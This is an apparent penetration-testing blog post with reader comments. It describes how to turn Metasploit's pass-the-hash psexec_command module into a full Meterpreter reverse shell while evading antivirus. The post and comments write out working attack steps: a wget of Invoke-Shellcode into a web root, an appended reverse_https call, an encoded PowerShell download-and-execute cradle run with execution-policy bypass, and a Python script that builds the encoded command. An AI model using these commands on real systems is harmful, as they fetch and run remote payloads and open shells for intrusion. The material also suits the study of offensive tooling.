Metasploit has supported psexec-like functionality with pass-the-hash for several years. Unfortunately, its mostly useless when an AV product is there to delete the uploaded service binary. Recently, a module (/auxiliary/admin/smb/psexec_command) was created that allows you to run a single Windows command with discovered hashes or credentials. This doesn't flag AV, but isn't the full meterpreter shell that we're use to. How can we turn one command into a meterpreter shell? With PowerSploit and Matt Graeber's Invoke-Shellcode!
The basic steps:
Kali Linux is awesome, but the version of PowerSploit is currently outdated, so lets pull down the script we will eventually run:
wget -O /var/www/payload https://raw.github.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1
Next we need to append the appropriate function call with LHOST and LPORT parameters and ensure that Apache is running.
echo "Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $lhost -Lport $lport -Force" >> /var/www/payload
strings -es /var/www/payload
strings -es /var/www/payload
Call to Function Added |
Basically, we are going to Base64 encode our short script block which will pull down the rest of our script:
scriptblock="iex (New-Object Net.WebClient).DownloadString("http://$lhost/payload")"encode="`echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0`"command="cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc $encode"echo $command
Now we fill in the rest of the settings of the module (either a password or hash) and use the COMMAND parameter to the encoded command:
Add Command to psexec_command |
Next, we start the multi/handler with reverse_https:
Set Up Handler |
Get Your Shell |
As soon as the PTH-Suite is ported to Kali, I hope to show you how to accomplish all of this without writing anything to disk!
***Updated 8/8/2013
So after a few comments and working through encoding issues with several people I finally realized that the actual posted code was incomplete. Instead of working from the post, I continued to work from my own script which was just simply not smart. So I added a screenshot for extra clarity and I apologize to anyone that this frustrated. On the positive side, now there are loads of other ways to pull this off which I wrote about here and you can read more about here and here.
-Chris
Nice.. Any upcoming video tuts for this?
ReplyDeleteMaybe one for the PTH-Suite script that is upcoming, but this wouldn't be hard either. I am really hoping someone writes this up as a stand alone metasploit module.
DeleteFor similar PowerShell/Psexec Metasploit module look at:
ReplyDeletehttps://github.com/rapid7/metasploit-framework/pull/1343
If you test it and it works reply to the pull request and it might get included quicker!
Cool stuff. I will take a look at it, but does it return a meterpreter shell and is it using Matt's method of reflection to avoid writing to disk?
ReplyDeleteI gave this a shot and am getting this:
ReplyDeleteThe term '?8?????4??????????????????????????????' is not recognized as the name
of a cmdlet, function, script file, or operable program. Check the spelling of
the name, or if a path was included, verify that the path is correct and try a
gain.
At line:1 char:39
+ ?8?????4?????????????????????????????? <<<<
+ CategoryInfo : ObjectNotFound: (?8?????4???????????????????????
???????:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
I am attempting this from a WIN7 box. If I grab the script on the box and paste it in PS, it works fine.
That certainly looks like an encoding issue. Can you pull down the script you have hosted and look at it:
Delete$test = iex (New-Object Net.WebClient).DownloadString("http://192.168.1.2/payload")
$test
And that it is indeed. That worked so I will back on the encoding.
ReplyDeleteMy encoding fu is failing me..what might I be missing? Everything runs fine without the encoding being applied. So maybe I am misunderstanding a step.
ReplyDeleteNext, I would test your base64 encoded string. Drop it into PowerShell and ensure that it is decoding to the correct string. You got that error message above with the metasploit module?
ReplyDeleteSo I got that from both msf as well as from the command line on the WIN7 box itself. Playing around with PS. Not really a PS ninja tho :)
ReplyDeleteOk. Do you mind posting your actual command (the one with the encoded to command), or you could email it to my handle at gmail. I am trying to figure out which part is introducing the strange encoding. Also, did you copy and paste the commands from the blog?
Deletemail sent.....
ReplyDeleteHere yah go Sir:
ReplyDeleteOutput From Script
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc aWV4IChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKGh0dHA6Ly8xOTIuMTY4LjEuMTQ4L3BheWxvYWQpCg==
Decoded:
root@kali:~# echo aWV4IChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKGh0dHA6Ly8xOTIuMTY4LjEuMTQ4L3BheWxvYWQpCg== | base64 -d
iex (New-Object Net.WebClient).DownloadString(http://192.168.1.148/payload)
After talking with obscuresec, he recommended using 'strings -es' on the /var/www/payload file. That worked for me to fix my encoding issue, just thought I would share.
ReplyDeleteI use this code:
ReplyDelete#!/usr/bin/env python
import base64
command = "cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc "
powershell_command = 'iex (New-Object Net.WebClient).DownloadString("http://192.168.1.1/payload")'
blank_command = ""
for char in powershell_command:
blank_command += char + "\x00"
powershell_command = blank_command
powershell_command = base64.b64encode(powershell_command)
command += powershell_command
print command
I'm having exactly the same problem as Anonymous, and it is from a Win7 Box
ReplyDeleteChris, thanks for this post so useful.
ReplyDeleteI've been trying to reproduce here but facing issues similar to Anonymous above regarding base64 encoding on Linux and the decode performed by powershell. It would be great if you can give a look.
Using the standard base64 tool on Linux to encode "calc.exe" I got:
$ echo calc.exe|base64
Y2FsYy5leGUK
Using the string "Y2FsYy5leGUK" on powersheel it gives me a decoding error:
>powershell -Enc Y2FsYy5leGUK
The term '?????' is not recognized as the name of a cmdlet...
But using a modified version of the python script by Anonymous to encode the string the result is different and works properly on powershell.
$ ./a.py
YwBhAGwAYwAuAGUAeABlAA==
What am I missing here? Do you have any idea why the base64 encoded string generated on Linux terminal does not work on powershell? Is this somehow related to terminal character encoding?
In the python script, why is the "\x00" null character added to each char in the string?
Congratulations for the amazing blog.
Thank you for your detailed comment. It helped me finally get to the bottom of the issue. I was focusing on the encoding of the payload script and was using a bash script to troubleshoot. The problem was that the original code snippet didn't match my script and was not handling encoding to UTF-16LE before base64 encoding. I fixed and updated the post. Thanks again!
Delete